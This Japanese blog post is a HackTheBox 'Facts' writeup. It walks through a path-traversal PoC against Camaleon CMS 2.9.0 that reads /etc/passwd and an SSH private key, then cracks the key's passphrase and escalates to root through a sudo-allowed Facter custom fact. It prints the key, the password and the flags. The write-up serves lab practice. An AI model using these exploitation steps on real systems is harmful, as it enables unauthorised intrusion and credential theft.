1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Facts:Writeup

1
Posted at

概要

HackTheBox「Facts」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.12.117 -oN nmap_result
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.12.117:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18B5006C68749591
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Mon, 01 Jun 2026 16:01:33 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>18B5006C68749591</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18B5006836948D41
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Mon, 01 Jun 2026 16:01:15 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>18B5006836948D41</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Mon, 01 Jun 2026 16:01:15 GMT
|_    Content-Length: 0

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.9p1
80 http nginx 1.26.3
54321 http Golang net/http server

80番ポートにアクセスします。

image.png

80番ポートのディレクトリスキャンをします。
/adminを見つけました。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://facts.htb/FUZZ -recursion -recursion-depth 1 -ic -c -fw 4

admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1230ms]

/adminにアクセスすると、ログインページを発見しました。

image.png

適当なアカウント作成し、ログインをします。

image.png

Camaleon CMS 2.9.0が使用されていると分かりました。

image.png

該当バージョンの脆弱性を検索すると、CVE-2026-1776がヒットしました。

POCは以下を使用します。

POCを使用し、LFIに成功しました。

$ python 52531.py                                                                              

Camaleon CMS v2.9.0 - Path Traversal PoC (authorized testing only)

Target base URL (example: http://target.com): http://facts.htb/
File path to request (example: /etc/passwd): /etc/passwd
auth_token value: C6rh4utC55j3F2Yu92vKWw&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A128.0%29+Gecko%2F20100101+Firefox%2F128.0&10.10.14.28

[+] HTTP Status: 200

[+] Response preview:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false

../../../../../../../home/trivia/.ssh/id_ed25519を確認すると、SSHの秘密鍵を入手できました。

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAdKGhoZo
wMKEtFdJ6blHdOAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIBS5ke8OJfCl+DS7
rNpVVZRWhjNGn3CE755YSLqSQ5XwAAAAoHykcdnbaZ83fom498QDH+lOj81bMwQFrhICN/
gWXvQXYTLRxfnwwxK6lAcZvb5/Z+hCFusKA0AIAJZlj5eo+DGgKmOuIs9OlAM5nysO5AC8
pCGTrIIYGtVyVkK7UvBidslspVaPJdolhESFSQv6izYgbSvvK9E18j6j6Kp6BnEw1eB0Cb
mp2SRcLY6tFRA4+VEgEYJtJeJhwpIzhFNdfaM=
-----END OPENSSH PRIVATE KEY-----

image.png

SSH鍵にパスワードがかかっているので、JohnTheRipperで解析します。
そうすると、パスワードを特定できました。

$ ssh2john id_ed25519 > ssh.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
dragonballz      (id_ed25519)

triviaでSSH接続が出来ました。

$ ssh -i id_ed25519 trivia@facts.htb
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

ユーザフラグを入手できました。

trivia@facts:~$ cat /home/william/user.txt 
002310b169216a1d30c329031beaba06

A.002310b169216a1d30c329031beaba06

Root Flag

sudo -lを確認すると、/usr/bin/facterがroot権限で実行可能だと分かりました。

trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

ファイルの中身を確認するとRubyのスクリプトが記載されています。

trivia@facts:~$ strings /usr/bin/facter 
#!/usr/bin/ruby
# frozen_string_literal: true
require 'pathname'
require 'facter/framework/cli/cli_launcher'
Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)
CliLauncher.start(processed_arguments)

GTFOBinsで権限昇格テクニックを見つけました。

bashを実行するrubyのコードを書きます。

my_fact.rb
Facter.add(:my_root_shell) do
  setcode do
    Facter::Core::Execution.execute('/bin/bash')
  end
end

--custom-dirの引数でrbファイルのディレクトリを指定し、実行させます。
そうすると、root権限に昇格出来ました。

trivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir=/tmp my_root_shell
root@facts:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

root@facts:/tmp# cat /root/root.txt 
fb07222fdcb23018d628973e12611970

A.fb07222fdcb23018d628973e12611970

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?